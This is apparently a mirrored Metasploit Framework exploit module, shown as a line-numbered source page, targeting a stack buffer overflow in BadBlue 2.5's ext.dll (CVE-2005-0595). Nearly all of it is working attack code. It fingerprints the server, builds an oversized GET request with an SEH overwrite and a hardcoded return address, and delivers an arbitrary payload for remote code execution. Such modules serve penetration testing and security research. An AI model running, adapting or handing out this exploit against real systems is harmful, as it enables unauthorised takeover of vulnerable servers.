Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/badblue_ext_overflow.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.9# However, a proper Server header is returned when requesting /index.html or using HEAD.10HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }1112include Msf::Exploit::Remote::HttpClient13include Msf::Exploit::Remote::Seh1415def initialize(info = {})16super(update_info(info,17'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',18'Description' => %q{19This is a stack buffer overflow exploit for BadBlue version 2.5.20},21'Author' => 'acaro <acaro[at]jervus.it>',22'License' => BSD_LICENSE,23'References' =>24[25[ 'CVE', '2005-0595' ],26[ 'OSVDB', '14238' ],27[ 'BID', '7387' ],28],29'DefaultOptions' =>30{31'EXITFUNC' => 'process',32},33'Privileged' => true,34'Payload' =>35{36'Space' => 500,37'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' =>42[43['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],44],45'DisclosureDate' => '2003-04-20',46'DefaultTarget' => 0))47end4849def check50info = http_fingerprint # check method51if (info =~ /BadBlue\/2\.5/)52return Exploit::CheckCode::Appears53end54Exploit::CheckCode::Safe55end5657def exploit58uri = "GET /ext.dll?mfcisapicommand="59sploit = rand_text_alphanumeric(500)60seh = generate_seh_payload(target.ret)61sploit[492, seh.length] = seh62uri << sploit6364print_status("Trying target #{target.name}...")65send_request_raw({ 'uri' => uri })6667handler68end69end707172